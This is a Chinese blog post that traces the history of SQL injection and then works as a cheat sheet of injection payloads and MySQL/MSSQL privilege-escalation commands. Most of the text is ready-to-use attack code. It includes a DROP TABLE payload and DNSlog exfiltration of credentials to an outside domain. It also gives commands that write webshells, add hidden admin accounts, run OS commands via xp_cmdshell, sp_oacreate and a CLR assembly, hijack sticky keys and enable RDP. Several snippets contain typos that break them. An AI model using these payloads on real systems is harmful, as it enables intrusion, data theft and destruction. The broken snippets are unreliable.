本文最后更新于:2023年5月11日 中午
前世 1998 时光回溯到1998年,这一年是中国证券市场的开端,这一年乌蝇哥在《旺角卡门》里贡献出了在16年火遍大江南北的表情包 ,也是这一年Rain Forest Puppy(RFP)在杂志phrack 54上发表题目为《NT web Technology vulnerabilities》的文章,在 —[ ODBC and MS SQL server 6.5 这一节首次提到了SQL注入
1999 1999年2月,Allaire发出警告 “Multiple SQL Statements in Dynamic Queries”
1999年5月, RFP与Matthew Astley发出警告 “NT ODBC Remote Compromise”
2000 2000年2月,RFP发表文章 “How I hacked Packetstorm – A look at hacking wwthreads via SQL”,披露如何利用SQL注入攻击渗透Packetstorm网站
2000年9月,David Litchfield在Blackhat会议上发表主题演讲“Application Assessments on IIS”
2000年10月,Chip Andrews在SQLSecurity.com 上发表“SQL Injection FAQ ”,首次公开使用“SQL注入”这个术语
2001 2001年4月,David Litchfield 在Blackhat会议上发表主题演讲 “Remote Web Application Disassembly with ODBC Error Messages”
2002 2002年1月,Chris Anley发表论文“Advanced SQL Injection in SQL Server”,首次深度探讨该类攻击
2002年6月,Chris Anley发表论文 “(more) Advanced SQL” ,补充同年1月发表的论文缺少的细节
2004 2004年Blackhat会议上, 0x90.org发布了SQL注入工具SQeaL ( Absinthe的前身)
2006 2006年7月25日,Daniele Bellucci在 SourceForge 上注册了sqlmap项目并添加了对MySQL的有限的支持
同年8月Daniele 添加了对 PostgreSQL 的初步支持并发布了0.1版
至此进入SQL Injection进入自动化时代,我们可以从sqlmap的更新与历史里窥见SQL Injection发展史的一角
今生 SQL Injection为何 SQL注入是因为后台执行SQL语句时拼接了用户的输入,仅此而已
SQL Injection的分类 按注入点分类 数字型 数字型也就是我们注入点的参数为int类型,在url上大概长下面这个样子:
1 http://ex.com/query.php?id=1
后端接受数据以php为例:
1 $query = "select name,age,gender from t_students where id = {$_GET["id"]} " ;
注入payload:
1 1 union select 1 ,database(),3
那么后端接受到的数据就会变成:
1 $query = "select name,age,gender from t_students where id = 1 union select 1,database(),3 -- " ;
字符型 数字型也就是我们注入点的参数为str类型,在url上大概长下面这个样子:
1 http://ex.com/query.php?uname=admin
后端接受数据以php为例:
1 $query = "select name,age,gender from t_students where uname = '{$_GET['uname']} '" ;
注入payload:
1 admin' union select 1,database(),3 --
那么后端接受到的数据会变成:
1 $query = "select name,age,gender from t_students where uname = 'admin' union select 1,database(),3 --"
搜索型 搜索型也就是我们注入点在搜索框,它后端接受数据大概长这样:
1 2 $pwd = &_GET['something' ]$query = "select * from commodity where name like '%$something %' order by price" ;
注入payload:
1 ' and drop table commodity and ' % '='
那么后端接受到的数据就会变成:
1 $query = "select * from commodity where name like '%' and drop table commodity and '%'='%' order by price" ;
就会删除服务器里的commodity表,现在我们大概了解了sql注入的原理,就是用户的输入被拼接到数据库中执行了那么我们接着看一下其他的分类
按提交方式分类 get注入 数据是以get方式提交的,注入点一般在get提交的url后面,可以使用的hackbar以及burp suite进行更方便的注入
post注入 数据是以post方式提交的,注入点一般在表单填写处,如资料填写等地方,需使用burp suite之类的抓包工具修改与注入
cookie注入 cookie注入是因为一些获取参数的函数会从cookie中寻找数据而引发的在对方对get和post注入都进行了防御的时候,有可能忽视cookie,所以在get,post直接注入不行的时候可以尝试cookie注入,但其注入的原理与正常注入的原理是一样的
在ASP中如果服务器读取值用的是:
当WEB服务器没有在get与post中取到数据的时候会去cookie中寻找数据,如果对于从cookie取得的值没有经过处理的话,就会引起cookie注入
如果使用的是:
1 2 ID = Request.QueryString("ID") // 获取以GET方式提交的数据 ID = Request.Form("ID") // 获取以POST方式提交的数据
就不会有cookie注入
http头注入 先说SQL注入应该不局限于select
其他如insert
,update
,delete
函数也是可以注入的
再说常见的http头注入的参数
- User-Agent // 是的服务器能识别客户操作系统,浏览器版本等
- cookie // 身份鉴别
- X-Forwarded-For // XFF头,它代表客户端,也就是HTTP的请求端真实的ip
- Client-Ip //同上
- Rerferer // 请求来源的上级页面
- Host // 指定访问的web服务器域名或ip和端口号
- ....
当服务器要获取客户端信息,比如获取User-Agent的值并insert into
数据库时,就会发生http头注入
常见相关函数:
- UpdateXML(xml_target,xpath_expr,new_xml)
- 此函数将xml_target中用xpath_expr路径匹配xml片段用new_xml替换,返回更改的xml
- xml_target被替换的部分与xpath_expr用户提供的xpath表达式匹配
- 如果找不到表达式匹配xpath_expr项,或找到多个匹配项,则该函数返回原始xml_targetXML片段
- 三个参数都为字符串
- ExtractVakue(xml_frag,xpath_expr)
- 此函数返回在xml_frag用xpath_expr路径匹配到的xml片段
- floor(x)
- 此函数返回不大于x的最大整数
在UpdateXML()、ExtractValue()函数中,当参数xpath_expr路径语法错误时,就会报错(详见报错注入) ,将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回
floor()报错,需要count()、rand()、group by,三者缺一不可floor(rand(0)*2)
每次执行结果是基本固定的——011011… 在使用group by floor(rand(0)*2)
创建虚拟表的过程中,向虚拟表中插入数据时,主键的计算产生相同的结果,插入报错
以update_xml为例:
1 2 $uagent = $_SERVER ['HTTP_USER_AGENT' ] inset into uaget ('uagent' .'username' ) values ('$uagent' ,'uname' );
当http请求头payload为:
1 User -Agent:' or updatexml(1 ,concat(0 x7 e,database(),0 x7 e),1 ),1 )# Mozilla/5 .0 (Windows NT 10 .0 ; Win64 ; x64 )
后端接受到的数据为:
1 inset into uaget ('uagent' .'username' ) values ('' or updatexml(1 ,concat(0x7e ,database(),0x7e ),1 ),1 )
此时#
后面的内容被注释掉了,通过制造报错信息,会把查询到的信息显示出来
按执行效果分类 盲注 在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面,需要使用一些特殊的方式来判断是否注入成功的过程就叫盲注
当我们在执行sql语句后,页面只有两种结果,例如返回内容(ture)与不返回内容(flase),这时就可以用过构造逻辑表达式来判断具体内容
布尔盲注会用到的函数:
1 2 3 4 5 6 mid (str,start,length) ORD () length () version () database () user ()
猜解数据库长度:
1 'or length(database()) > 8 --+
猜解数据库名:
1 2 'or mid(database(),1,1)= ' z' --+ // 因为需要验证的字符太多,所以转化为ascii码验证 ' or ORD(mid(database(),1 ,1 )) > 100
猜解表总数:
1 'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ //判断表的总数
猜解第一个表名的长度:
1 2 'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+ ' or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA= database() limit 1 ,1 ) = 5
猜解第一个表名:
1 2 3 'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = ' a' --+ 或者 ' Or ORD(mid(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0 ,1 ),1 ,1 )) > 100
猜解表的字段的总数:
1 'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME=' 表名') > 5 --+
猜解第一个字段的长度:
1 2 'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME=' 表名' limit 0,1) = 10 --+ ' or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME= '表名' limit 1 ,1 ) = 10
猜解第一个字段名:
1 2 3 'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ' 表名' limit 0,1),1,1) = ' i' --+ 或者 ' or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0 ,1 ),1 ,1 )) > 100
直接猜解字段名:
1 ' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=' 表名' limit 1,1) = ' username' --+
猜解内容长度:
1 2 假如已经知道字段名为 id username password'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
猜解内容:
1 2 3 'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = ' a' --+ 或者 ' or ORD(mid((select concat(username,"-----",password) from admin limit 0 ,1 ),1 ,1 )) > 100
直接猜解内容:
1 'or (Select concat(username,"-----",password) from admin limit 0,1 ) = ' admin
提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的时间盲注
时间盲注会用到的函数:
1 2 3 4 5 6 7 8 Sleep () :延迟函数If (condition,true,false) :条件语句mid (str,start,length) :字符串截取ORD () :转换成ascii码Length () :统计长度version () :查看数据库版本database () :查看当前数据库名user () :查看当前用户
获取数据库总数:
1 ' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5)) // 如果数据库总数等于7响应时间为0秒,如果不等于7,相应时间为5秒
猜解当前数据库长度:
1 ' and sleep(if((length(database()) = 8),0,5))--+ //当前数据库名长度为8
猜解当前数据库名:
1 ' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+ //ascii码115 就是 s
猜解当前数据库表的总数:
1 2 And sleep(if((注入语句),0 ,5 )) / / 类似布尔注入推理即可 ,例如:' And sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5)) --+
其他的与布尔注入类似,参考构造即可
如上盲注是没有回显结果的,只有靠逻辑表达式判断,那么有没有一种方式是可以使盲注有回显的呢,答案就是Dnslog盲注,如遇MySql的盲注时,可以利用内置函数load_file()来完成DNSLOGload_file()不仅能够加载本地文件,同时也能对诸如www.xxx.com
这样的URL发起请求 使用DnsLog盲注仅限于windos环境
其原理就是数据库将查询到的数据拼接到我们设置的域名上,然后去查看DNS解析记录就可以拿到查询到的数据
构造语句:
1 SELECT LOAD_FILE(CONCAT('\\\' ,(select database(),'.github.io\\abc' )))
获取数据库名:
1 ' and load_file(concat(' \\\\',(select database()),' .github.io\\abc'))--+
获取数据表:
1 ' and load_file(concat(' \\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),' .github.io\\abc'))--+
获取表中的字段名:
1 ' and load_file(concat(' \\\\',(select column_name from information_schema.columns where table_name=' users' limit 0,1),' .github.io\\abc'))--+
获取表中字段下的数据:
1 2 ' and load_file(concat(' \\\\',(select password from users limit 0,1),' .github.io\\abc'))--+ ' and load_file(concat('\\\\' ,(select username from users limit 0 ,1 ),'.github.io\\abc' ))
因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去:
1 ' and load_file(concat(' \\\\',(select hex(group_ws(' ~ ',username,password)) from users limit 0,1),' .github.io\\abc'))--+
报错注入 报错注入有时也被归类为盲注 ,通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等
报错注入又分为两种:
数据库BUG报错注入需要的函数:
1 2 3 4 5 只要是count(),rand() ,group by 三个函数连用就会造成这种报错left (rand() ,3 ) :不一定报错floor (rand(0 ) *2 ) :一定报错round (x,d) :x指要处理的数,d是指保留几位小数concat () :字符串拼接
函数报错注入需要的函数:
1 2 3 4 5 6 7 8 Updatexml () Exp () Geometrycollection () Polygon () Multipoint () Multilinestring () Multipolygon () 等.....
利用数据库bug报错注入:
爆数据库的两种方法:
1 2 ' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx) ' union select concat(floor (rand(0 )* 2 ),"===",(select database())) as xx,count (1 ),3 from information_schema.columns group by xx
爆表名:
1 ' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+
爆字段:
1 ' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+
猜解内容:
1 ' and ORD(mid((select concat(username,"-----",password) from security.users limit 0,1),1,1)) =68 %23 -- 逐个猜解内容(详情见布尔注入)
利用特定函数报错注入的流程:
与利用数据库bug报错步骤相同,比如Updatexml()的注入语句如下:
1 ' and 1=(updatexml(1,concat(0x3a,(select database() )),1))--+
联合查询 联合查询注入利用的前提条件:
页面上有显示位,什么是显示位呢?在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位
示例代码:
1 select * form tp_user where id= 1 union select 1 ,2 ,database(),4 ,5 ;
堆叠注入 堆叠注入(stacked injections)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行,而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加“;”表示语句结束的,这样我们就想到了是不是可以多句一起使用就叫做堆叠注入
示例代码:
1 select * form users; select * form emails;
宽字节注入 宽字节注入就是用宽字节去中和掉转义中加的/
这个符号
注入原理 PHP中在 magic_quotes_gpc=On 的情况下,提交的参数中如果带有单引号'
,就会被自动转义\'
,这样就没法闭合单引号了 GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE
,尾字节对应0×40-0xFE
(除0×7F
),刚好涵盖了转义符号\
对应的编码0×5C
,0xD5-0×5C
对应了汉字“诚”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c
经URL解码后为“诚”
下面分析攻击过程:
1 /test.php?username=test%d5′%20or%201=1%23
经过浏览器编码,username参数值为(单引号的编码0×27):
1 username=test%d5%27%20or%201=1%23
经过php的url解码:
1 username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (为了便于阅读,在字符串与16进制编码之间加了空格)
经过PHP的GPC自动转义变成(单引号0×27
被转义成'
对应的编码0×5c0×27
):
1 username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c
解码后为诚,0×27
解码为'
,0×20
为空格,0×23
为mysql的注释符#
上面的SQL语句最终为:
1 SELECT * FROM user WHERE username= 'test诚' or 1 = 1 #;
注释符#后面的字符串已经无效,等价于:
1 SELECT * FROM user WHERE username= 'test诚' or 1 = 1 ;
条件变成永真,成功注入
补充:
0xD50×5C
不是唯一可以绕过单引号转义的字符,0×81-0xFE
开头0×5C
的字符应该都可以
二次注入 二次注入是通过与数据库服务器进行交互的过程再次进行注入
注入原理 在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有'
和#
号,然后下次使用在拼凑SQL中,所以就形成了二次注入
按拼接位置分类 拼接位置没什么好讲的,一笔带过就行
where 注入 order by注入 limit 注入 values 注入 提权 MySql提权 UDF提权 UDF(用户定义函数)是一类对MySQL服务器功能进行扩充的代码,通过添加新函数,性质就像使用本地MySQL函数abs()或concat()
前提条件:
一个拥有insert和delete权限的账户
MySQL的secure_file_priv不为NULL,且目标目录本身可写
MySQL版本大于5.1时,udf.dll文件须放置于MySQL安装目录下的lib\plugin文件夹(一般需要手工创建)下
MySQL版本小于5.1时:
Windows2000下须放置于c:\Winnt
Windows2003下须放置于c:\Windows
udf.dll&udf.so 来源:
1 2 sqlmap\data\udf\mysql\linux&windows python3 cloak.py -d -i udf.dll_ - o udf.dll
查看mysql有无写入权限:
1 show global variables like '%secure%'
创建/lib/plugin目录:
1 2 3 select @@basedir ; select 'udf.ll' into dumpfile'C:\\Program Files\\MySQL\\MySQLServer5.1\\lib::$INDEX_ALLOCATION' ; select 'udf.dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQLServer 5.1\\lib\\lplugin::$INDEX_ALLOCATION' ;
写入udf.dll文件:
1 2 select hex(load_file('path\\udf.dll' )) into dumpfile 'mysqlpath\\lib\\plugin\\udf.dll' ; select 'hexcode' into dumpfile 'mysqlpath\\lib\\plugin\\udf.dll' ;
创建自定义函数:
1 2 create function cmdshell returns string soname 'udf.dll' ;select * from mysql.func;
执行函数:
1 select cmdshell('net user admin12 admin12 /add' );
MOF提权 MOF是Windows系统的一类文件(在C:/Windows/System32/wbem/mof/nullevt.mof)叫做托管对象格式,它会每隔五秒就会去监控进程创建和死亡
提权条件:
目标系统是Windows2000、WindowsXP或Windows2003
MySQL的secure_file_priv不为NULL,且目标目录本身可写
拥有MySQL数据库的root账号权限
拥有将MOF文件写入到目录“%SystemRoot%\System32\Wbem\MOF”的权限
nullevt.mof 文件内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #pragma namespace ("\\\\.\\root\\subscription" ) instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2" ; Name = "filtP2" ; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \" Win32_LocalTime\" " "And TargetInstance.Second = 5" ; QueryLanguage = "WQL" ; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2" ; ScriptingEngine = "JScript" ; ScriptText = "var WSH = new ActiveXObject(\" WScript.Shell\")\nWSH.run(\" net.exe user admin 123456 /add\")" ; //命令执行的地方 }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
导入上传的mof文件到C:/Windows/System32/wbem/mof/nullevt.mof即可:
1 select load_file('my.mof' ) into dumpfile 'C:\\Windows\\System32\\wbem\\mof\\nullevt.mof' ;
删除mof文件:
1 2 3 4 net stop winmgmtrmdir /s /q c:\window\System32\wbem\repositorynet user admin /deletenet start winmgmt
启动项提权 写入开机启动项然后重启即可
MSSQL提权 xp_cmdshell提权 xp_cmdshell在低版本中默认开启,由于存在安全隐患,在sqlserver2005以后,xp_cmdshell默认关闭利用xp_cmdshell执行系统命令
判断xp_cmdshell是否存在:
1 select count (* ) from master.dbo.sysobjects where xtype= 'x' and name= 'xp_cmdshell' ;
开关xp_cmdshell:
1 2 EXEC sp_configure 'show advanced options' , 1 ;RECONFIGURE;EXEC sp_configure 'xp_cmdshell' , 1 ;RECONFIGURE; EXEC sp_configure 'show advanced options' , 1 ;RECONFIGURE;EXEC sp_configure 'xp_cmdshell' , 0 ;RECONFIGURE;
执行命令:
1 exec master..xp_cmdshell 'xxx'
写webshell:
1 exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
xp_cmdshell被删除,需用sp_addextendedproc重新恢复或自己上传 xplog70.dll 进行恢复:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 EXEC sp_addextendedproc xp_cmdshell ,@dllname = 'xplog70.dll' EXEC sp_addextendedproc xp_enumgroups ,@dllname = 'xplog70.dll' EXEC sp_addextendedproc xp_loginconfig ,@dllname = 'xplog70.dll' EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname = 'xpstar.dll' EXEC sp_addextendedproc xp_getfiledetails ,@dllname = 'xpstar.dll' EXEC sp_addextendedproc Sp_OACreate ,@dllname = 'odsole70.dll' EXEC sp_addextendedproc Sp_OADestroy ,@dllname = 'odsole70.dll' EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname = 'odsole70.dll' EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname = 'odsole70.dll' EXEC sp_addextendedproc Sp_OAMethod ,@dllname = 'odsole70.dll' EXEC sp_addextendedproc Sp_OASetProperty ,@dllname = 'odsole70.dll' EXEC sp_addextendedproc Sp_OAStop ,@dllname = 'odsole70.dll' EXEC sp_addextendedproc xp_regaddmultistring ,@dllname = 'xpstar.dll' EXEC sp_addextendedproc xp_regdeletekey ,@dllname = 'xpstar.dll' EXEC sp_addextendedproc xp_regdeletevalue ,@dllname = 'xpstar.dll' EXEC sp_addextendedproc xp_regenumvalues ,@dllname = 'xpstar.dll' EXEC sp_addextendedproc xp_regremovemultistring ,@dllname = 'xpstar.dll' EXEC sp_addextendedproc xp_regwrite ,@dllname = 'xpstar.dll' EXEC sp_addextendedproc xp_dirtree ,@dllname = 'xpstar.dll' EXEC sp_addextendedproc xp_regread ,@dllname = 'xpstar.dll' EXEC sp_addextendedproc xp_fixeddrives ,@dllname = 'xpstar.dll'
例mssql2012的上传目录:
1 C:\P rogram Files\M icrosoft SQL Server\M SSQL12.MSSQLSERVER\M SSQL\B inn\x plog70.dll
sp_oacreate和sp_oamethod提权 在xp_cmdshell被删除或不能利用是可以考虑利用sp_oacreate,利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql)sp_oacreate 主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令
判断sp_oacreate是否存在:
1 select count (* ) from master.dbo.sysobjects where xtype= 'x' and name= 'SP_OACREATE'
开关sp_oacreate:
1 2 3 4 5 6 exec sp_configure 'show advanced options' ,1 ;reconfigure;exec sp_configure 'ole automation procedures' ,1 ;reconfigure;exec sp_configure 'show advanced options' ,1 ;reconfigure;exec sp_configure 'ole automation procedures' ,0 ;reconfigure;
利用wscript.shell组件执行命令:
1 2 3 4 5 6 7 8 9 10 11 12 declare @shell int exec sp_oacreate 'wscript.shell' ,@shell outputexec sp_oamethod @shell ,'run' ,null ,'C:\\Windows\\System32\\cmd.exe /c whoami' declare @shell int ,@exec int ,@text int ,@str varchar (8000 )exec sp_oacreate 'wscript.shell' ,@shell outputexec sp_oamethod @shell ,'exec' ,@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec , 'StdOut' , @text out exec sp_oamethod @text , 'readall' , @str out select @str ;
利用com组件执行命令:
1 2 3 4 5 6 declare @ffffffff0x int ,@exec int ,@text int ,@str varchar (8000 )exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}' ,@ffffffff0x outputexec sp_oamethod @ffffffff0x ,'exec' ,@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec , 'StdOut' , @text out exec sp_oamethod @text , 'readall' , @str out select @str ;
利用filesystemobject写webshell(目录必须存在,否则也会显示成功,但是没有文件写入):
1 2 3 4 declare @o int , @f int , @t int , @ret int exec sp_oacreate 'scripting.filesystemobject' , @o out exec sp_oamethod @o , 'createtextfile' , @f out , 'C:\phpstudy_pro\www\1.php' , 1 exec @ret = sp_oamethod @f , 'writeline' , NULL ,'<?php @eval($_REQUEST["a"]);?>'
沙盒提权 沙盒模式是数据库的一种安全功能在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的, 利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql),服务器拥有 jet.oledb.4.0 驱动
局限: (1)Microsoft.jet.oledb.4.0一般在32位操作系统上才可以 (2)Windows 2008以上 默认无 Access 数据库文件, 需要自己上传 sqlserver2015默认禁用Ad Hoc Distributed Queries,需要开启
开启Ad Hoc Distributed Queries:
1 2 3 4 5 6 exec sp_configure 'show advanced options' ,1 ;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries' ,1 ;reconfigure;exec sp_configure 'show advanced options' ,1 ;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries' ,0 ;reconfigure;
关闭沙盒模式:
1 2 3 4 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\Microsoft\Jet\4.0\Engines' ,'SandBoxMode' ,'REG_DWORD' ,0 ;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\Microsoft\Jet\4.0\Engines' ,'SandBoxMode' ,'REG_DWORD' ,2 ;
沙盒模式参数含义:
1 2 3 4 5 6 7 沙盒模式SandBoxMode参数含义(默认是2 )0 :在任何所有者中禁止启用安全模式1 :为仅在允许范围内2 :必须在access 模式下3 :完全开启 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE ',' SOFTWARE\Microsoft\Jet\4.0 \Engines', 'SandBoxMode '
执行系统命令:
1 2 select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c whoami")' )
SQL Server Agent Job提权 SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业
启动sqlagent:
1 exec master.dbo.xp_servicecontrol 'start' ,'SQLSERVERAGENT' ;
执行命令:
1 2 3 4 5 6 use msdb;exec sp_delete_job null ,'test' exec sp_add_job 'test' exec sp_add_jobstep null ,'test' ,null ,'1' ,'cmdexec' ,'cmd /c "whoami>c:/1.txt"' exec sp_add_jobserver null ,'test' ,@@servername exec sp_start_job 'test' ;
查询1.txt:
1 2 3 Use model; bulk insert readfile from 'C:\1.txt' select * from readfile
xp_regwrite映像劫持提权 xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,利用regwrite函数修改注册表,起到劫持作用利用前提sqlserver系统权限可以修改注册表
判断xp_regwrite是否存在:
1 select count (* ) from master.dbo.sysobjects where xtype= 'x' and name= 'xp_regwrite'
开启xp_regwrite:
1 2 3 4 5 6 EXEC sp_configure 'show advanced options' ,1 ;RECONFIGUREEXEC sp_configure 'xp_regwrite' ,1 ;RECONFIGUREEXEC sp_configure 'show advanced options' ,1 ;RECONFIGUREEXEC sp_configure 'xp_regwrite' ,0 ;RECONFIGURE
修改注册表来劫持粘滞键,将粘滞键修改为打开cmd 在sqlserver2019+winserver2019中测试,win defender和火绒均会拦截:
1 2 3 4 EXEC master..xp_regwrite @rootkey = 'HKEY_LOCAL_MACHINE' ,@key = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE' ,@value _name= 'Debugger' ,@type = 'REG_SZ' ,@value = 'c:\windows\system32\cmd.exe' EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe' ,'Debugger'
劫持成功后连按5次shift会弹出cmd(win defender会拦截弹出的cmd并删除已经劫持的注册表) 还可以修改注册表来开启3389:
1 exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections' ,'REG_DWORD' ,0 ;
CLR Microsoft SQL Server 2005之后,实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成, CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行,现在就可以通过 C# 来编写 SQL Server 自定义函数、存储过程、触发器等
开启CLR:
1 2 3 4 5 6 exec sp_configure 'show advanced options' ,1 ;RECONFIGURE;exec sp_configure 'clr enabled' ,1 ;RECONFIGURE;exec sp_configure 'show advanced options' ,1 ;RECONFIGURE;exec sp_configure 'clr enabled' ,0 ;RECONFIGURE;
当导入了不安全的程序集之后,需将数据库标记为可信任的:
1 ALTER DATABASE master SET TRUSTWORTHY ON ;
做完上述准备之后需要编写一个CLR:
visual studio创建一个sql server数据库项目
添加SQL CLR C# 存储过程
写入以下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 using System; using System.Diagnostics; using System.Text; using Microsoft.SqlServer.Server; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void CmdExec (String cmd) { // Put your code here SqlContext.Pipe.Send(Command("cmd.exe", " /c " + cmd)); } public static string Command(string filename, string arguments) { var process = new Process(); process.StartInfo.FileName = filename; if (!string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments = arguments; } process.StartInfo.CreateNoWindow = true; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardError = true; process.StartInfo.RedirectStandardOutput = true; var stdOutput = new StringBuilder(); process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data); string stdError = null; try { process.Start(); process.BeginOutputReadLine(); stdError = process.StandardError.ReadToEnd(); process.WaitForExit(); } catch (Exception e) { SqlContext.Pipe.Send(e.Message); } if (process.ExitCode == 0) { SqlContext.Pipe.Send(stdOutput.ToString()); } else { var message = new StringBuilder(); if (!string.IsNullOrEmpty(stdError)) { message.AppendLine(stdError); } if (stdOutput.Length != 0) { message.AppendLine(stdOutput.ToString()); } SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message); } return stdOutput.ToString(); } }
右键生成,会在.\项目名称\Database1\bin\Debug下生成4个文件
xxx.dacpac
xxx.dll
xxx.pdb
xxx.sql
将dll文件注册进sqlserver:
十六进制写入(无文件落地):
1 2 3 CREATE ASSEMBLY sp_cmdExecFROM 0 x WITH PERMISSION_SET = UNSAFE
上传dll文件注册:
1 2 3 CREATE ASSEMBLY sp_cmdExecFROM 'C:\Users\Administrator\Desktop\xxx1.dll' WITH PERMISSION_SET = UNSAFE
通过SSMS注册DLL:
在图形界面点击程序集-新建程序集-选择DLL
创建存储过程:
1 2 3 4 5 CREATE PROCEDURE sp_cmdExec@Command [nvarchar](4000 )WITH EXECUTE AS CALLERAS EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec
执行命令:
1 EXEC sp_cmdExec 'whoami' ;
删除存储过程和程序集:
1 DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY sp_cmdExec;
R和python(dbo/dba权限) 在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本利用前提sqlserver系统权限可以执行外部脚本
开启sp_execute_external_script :
1 2 3 4 5 EXEC sp_configure 'external scripts enabled' ,1 ;RECONFIGUREEXEC sp_configure 'external scripts enabled' ,0 ;RECONFIGURE
执行命令:
